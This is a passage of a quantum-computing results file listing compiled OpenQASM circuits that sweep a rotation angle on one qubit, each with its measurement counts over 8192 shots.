q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1237', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1370, '0x1': 1598, '0x0': 3115, '0x2': 2109}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1239', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1371, '0x1': 1581, '0x0': 3094, '0x2': 2146}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1241', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1386, '0x1': 1658, '0x0': 3070, '0x2': 2078}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1243', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1375, '0x1': 1650, '0x0': 3002, '0x2': 2165}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1245', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1252, '0x1': 1653, '0x0': 3055, '0x2': 2232}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1247', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1336, '0x1': 1671, '0x0': 3050, '0x2': 2135}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1249', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1292, '0x1': 1666, '0x0': 2949, '0x2': 2285}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1251', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1256, '0x1': 1743, '0x0': 2923, '0x2': 2270}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1253', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1221, '0x1': 1664, '0x0': 3046, '0x2': 2261}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1255', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1184, '0x1': 1722, '0x0': 3034, '0x2': 2252}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1257', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1196, '0x1': 1714, '0x0': 2985, '0x2': 2297}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1259', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1121, '0x1': 1769, '0x0': 3053, '0x2': 2249}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1261', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1220, '0x1': 1674, '0x0': 2977, '0x2': 2321}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1263', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1130, '0x1': 1718, '0x0': 2971, '0x2': 2373}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier 